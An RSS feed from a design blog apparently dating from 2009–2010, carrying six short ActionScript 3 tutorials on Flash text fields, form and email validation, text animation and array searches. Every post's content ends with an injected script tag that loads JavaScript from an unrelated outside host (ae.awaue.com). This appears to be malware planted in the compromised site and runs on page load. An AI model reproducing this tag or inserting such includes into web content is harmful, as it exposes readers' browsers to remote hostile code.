<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; String</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/string/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Text Formatting &amp; AutoSizing</title>
		<link>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:27:24 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[AutoSize]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=209</guid>
		<description><![CDATA[Bit chaotic but these properties are always useful when adding text fields.]]></description>
			<content:encoded><![CDATA[<p>private function addTextCaption():void{</p>
<p>if(textCaption != null){</p>
<p>removeChild(textCaption);</p>
<p>}//remove if it exists</p>
<p><span> </span></p>
<p>textCaption = new TextField();</p>
<p><span> </span></p>
<p>var font:Verdana = new Verdana(); //linkage name in library</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.font = font.fontName;</p>
<p>format.color = textColorVar;</p>
<p>format.size = infoFontSize;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p> </p>
<p>textCaption.x = thumbnailWidth + textBorder; </p>
<p>textCaption.y = imageHeight + headingHeight;</p>
<p>textCaption.width = stage.stageWidth &#8211; thumbnailWidth;</p>
<p>textCaption.height =  200; //don&#8217;t need height if autosize single or multiline text</p>
<p>textCaption.multiline = true;</p>
<p>textCaption.wordWrap = true;//must be set else cuts off</p>
<p>//textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.antiAliasType = flash.text.AntiAliasType.ADVANCED;</p>
<p>textCaption.selectable = false;</p>
<p>textCaption.embedFonts = true;</p>
<p>addChild(textCaption);</p>
<p>textCaption.defaultTextFormat = format;</p>
<p>textCaption.text = imageCaptionArray[tempCounter];</p>
<p>}//addTextCaption</p>
<p><strong>NOTES:</strong></p>
<p>To autosize height do not specify a height but must include autosize:</p>
<p>textCaption.wordWrap = true;</p>
<p>textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.x =  textBoxXPos; </p>
<p>textCaption.y = textBoxYPos;</p>
<p>textCaption.width = stageWide &#8211; textBoxXPos;</p>
<p>//textCaption.height =  stageHigh &#8211; textBoxYPos;//not allowed with autoSize<br />
<em>For width autosize leave out width obviously.</em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Easy re-usable function to creat customisable text fields on the fly.</title>
		<link>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:24:19 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Function]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=207</guid>
		<description><![CDATA[Re-usable function allowing one to quickly create text fields dynamically as needed. Saves time.]]></description>
			<content:encoded><![CDATA[<p>var inputAddressTextField:TextField = new TextField();</p>
<p>genericTextField(inputAddressTextField, 50 , 4, 200 , 20 , true, 0xcc0000 , true, 0xcc99ff , true , 0xffffff); </p>
<p>//obj,x,y,width,height,bg,bgColor,border,borderColor,selectable,textColor</p>
<p>//NOTE: just use 0 (zero) for bg and border color if false, and for sizes if autosizing</p>
<p>inputAddressTextField.type = TextFieldType.INPUT; //any specifics</p>
<p>header.addChild(inputAddressTextField);</p>
<p>formatTextStyle(inputAddressTextField , 14)</p>
<p>private function genericTextField(whichField:TextField , xpos:Number, ypos:Number , fieldWidth:Number , fieldHeight:Number , bgBool:Boolean, bgColor:uint , borderBool:Boolean , borderColor:uint , selectableBool:Boolean , txtColor:uint){</p>
<p>whichField.x = xpos</p>
<p>whichField.y = ypos;</p>
<p>whichField.width = fieldWidth;</p>
<p>whichField.height = fieldHeight;</p>
<p>whichField.background = bgBool;</p>
<p>whichField.backgroundColor = bgColor;</p>
<p>whichField.border = borderBool;</p>
<p>whichField.borderColor = borderColor;</p>
<p>whichField.selectable = selectableBool;</p>
<p>whichField.textColor = txtColor;</p>
<p>}//genericTextField</p>
<p> </p>
<p>private function formatTextStyle(whichField:TextField , txtSize:Number):void{ //Set the stylesheet property before setting the content.</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.size = txtSize;</p>
<p>format.font = &#8220;_sans&#8221;;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p>whichField.defaultTextFormat = format;</p>
<p>}//addStyleSheet<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3 Text Handling Methods &#8211; Input Text, Selecting Text, Returning text</title>
		<link>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:21:10 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[eventListener]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=205</guid>
		<description><![CDATA[3 useful text tips - creating input text field, selecting all text in a field when user clicks it, returning a string value.]]></description>
			<content:encoded><![CDATA[<p><strong>Create input text field:</strong></p>
<p>currField.<strong>type</strong> = TextFieldType<strong>.INPUT</strong>;</p>
<p>currField.<strong>selectable = true</strong>; //must be true to be inputtable</p>
<p>&#8212;&#8212;&#8212;</p>
<p><strong>Select text when the field is clicked on:</strong></p>
<p>currField.addEventListener(MouseEvent.CLICK, highlightText);</p>
<p>private function highlightText(event:MouseEvent):void{</p>
<p>event.target.setSelection(0, event.target.length); //start point, end point</p>
<p>}</p>
<p>&#8212;&#8212;&#8211;</p>
<p><strong>Return string value from function call:</strong></p>
<p>currField.text = scoreLabel();</p>
<p>private function scoreLabel():String{</p>
<p>var scoreString:String = &#8220;Your score: &#8221; + scoreGot + &#8220;/&#8221; + questionTotal;</p>
<p>return scoreString;</p>
<p>}//scoreLabel<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AS3 Form Validation &#8211; email address and filled field</title>
		<link>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:16:59 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Form Validation]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=203</guid>
		<description><![CDATA[Checking if email address is valid and that fields are filled in (and not with spaces).]]></description>
			<content:encoded><![CDATA[<p><strong>Check for a valid email address in a text input field by checking for @, fullstop and positioning of these:</strong></p>
<p>private function checkEmail(whichObj:String):Boolean{</p>
<p>//check for @</p>
<p>//check for .</p>
<p>//check @ preceeds last dot</p>
<p>//check that @ is not first</p>
<p>//email cannot have any spaces</p>
<p>if(whichObj.indexOf(&#8220;@&#8221;) == -1 || whichObj.indexOf(&#8220;@&#8221;) == 0){ //not present or first</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;//if @ exists check for dot</p>
<p>if(whichObj.lastIndexOf(&#8220;.&#8221;) == -1 || whichObj.lastIndexOf(&#8220;.&#8221;) == whichObj.length-1){ //not present or at very end</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;//if both are true check @ preceeds dot</p>
<p>if(whichObj.lastIndexOf(&#8220;.&#8221;) &lt; whichObj.indexOf(&#8220;@&#8221;)  || whichObj.lastIndexOf(&#8220;.&#8221;) == whichObj.indexOf(&#8220;@&#8221;)+1 ){//not before and not directly after</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;</p>
<p>//lastly check it has NO spaces in it</p>
<p>for(var i:Number = 0 ; i &lt; whichObj.length ; i++){ </p>
<p>if(whichObj.charAt(i) == &#8221; &#8220;){ //if the character is a space</p>
<p>emailBool = false;</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>trace(&#8220;emailBool: &#8221; + emailBool);</p>
<p>return emailBool;</p>
<p>}//checkEmail</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Check a text input field is filled in and it has NO spaces:</strong></p>
<p>private function doFormCheck(event:MouseEvent):void{</p>
<p>checkName(form1_mc.name_txt.text);</p>
<p>trace(stringBool);</p>
<p>}//doFormCheck</p>
<p><span> </span></p>
<p>private function checkName(whichObj:String):Boolean{</p>
<p>//check that its not empty only AND that its not just spaces</p>
<p>if(whichObj != &#8220;&#8221;){</p>
<p>//not empty so </p>
<p>stringBool = true;</p>
<p>for(var i:Number = 0 ; i &lt; whichObj.length ; i++){</p>
<p>if(whichObj.charAt(i) != &#8221; &#8220;){ //if the character is not a space</p>
<p>stringBool = true;</p>
<p>return stringBool;//quit checking</p>
<p>}else{//else it is a space</p>
<p>stringBool = false;</p>
<p>return stringBool;</p>
<p>}</p>
<p>}//for</p>
<p>return stringBool;</p>
<p>}else{</p>
<p>stringBool = false; //else it is empty</p>
<p>return stringBool;</p>
<p>}//if</p>
<p>}//checkName<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Animating Dynamic text onto the screen letter by letter</title>
		<link>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:13:59 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Timer]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=201</guid>
		<description><![CDATA[Easy way to animate text with code. ]]></description>
			<content:encoded><![CDATA[<p>private function setInitialContentForCaseStudy():void{</p>
<p>more_mc.solution_txt.text = &#8220;&#8221;;//clear to start</p>
<p>solutionString = solutionsArray[0];</p>
<p>animationCounter = 0;</p>
<p>animationTimer = new Timer(100, 0); </p>
<p>animationTimer.addEventListener(TimerEvent.TIMER, animateContent);</p>
<p>animationTimer.start();</p>
<p>}//setInitialContentForCaseStudy</p>
<p><span> </span></p>
<p><span> </span></p>
<p>private function animateContent(event:TimerEvent):void{</p>
<p>more_mc.solution_txt.appendText(solutionString.charAt(animationCounter));</p>
<p>animationCounter++;</p>
<p>if(animationCounter == solutionString.length){</p>
<p>animationTimer.stop();</p>
<p>}//if</p>
<p>}//animateContent</p>
<p><strong>Beware of other stuff happening at same time or too much text &#8211; can be slow!</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arrays &#8211; Finding string information in arrays</title>
		<link>http://blog.thornyrabbit.com/2009/03/arrays-finding-string-information-in-arrays/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/arrays-finding-string-information-in-arrays/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 23:03:10 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=98</guid>
		<description><![CDATA[Find a string in an array.]]></description>
			<content:encoded><![CDATA[<p><strong>Find in array based on naming the sprite as per current array index value, such as &#8217;1_mc&#8217;:</strong></p>
<p>var nameString:String = event.target.parent.name;</p>
<p>nameString = nameString.slice(4); //depending on its name</p>
<p>var numberString:Number = parseInt(nameString);</p>
<p>tempCounter = numberString;//or value in array e.g. trace(imageBigArray[numberString]);</p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>Better, if the name is not a number:</strong></p>
<p>var nameString:String = event.target.name;</p>
<p>for(var k:Number = 1; k &lt; servicesArray.length ; k++){ //ignore first one in this eg</p>
<p>if(servicesArray[k] == nameString){</p>
<p>more_mc.need_txt.text = needsArray[k];</p>
<p>}//if</p>
<p>}//for </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Better yet, look for a string in the array:</strong></p>
<p>for (var i:Number = 0; i &lt; allVideoPaths.length ; i++){</p>
<p>if(jsParameterPassed == String(allVideoPaths[i])){ //where passed parameter could be &#8220;myvideo.flv&#8221;</p>
<p>videoURL = allVideoPaths[i];</p>
<p>}//if</p>
<p>}//for<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/arrays-finding-string-information-in-arrays/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
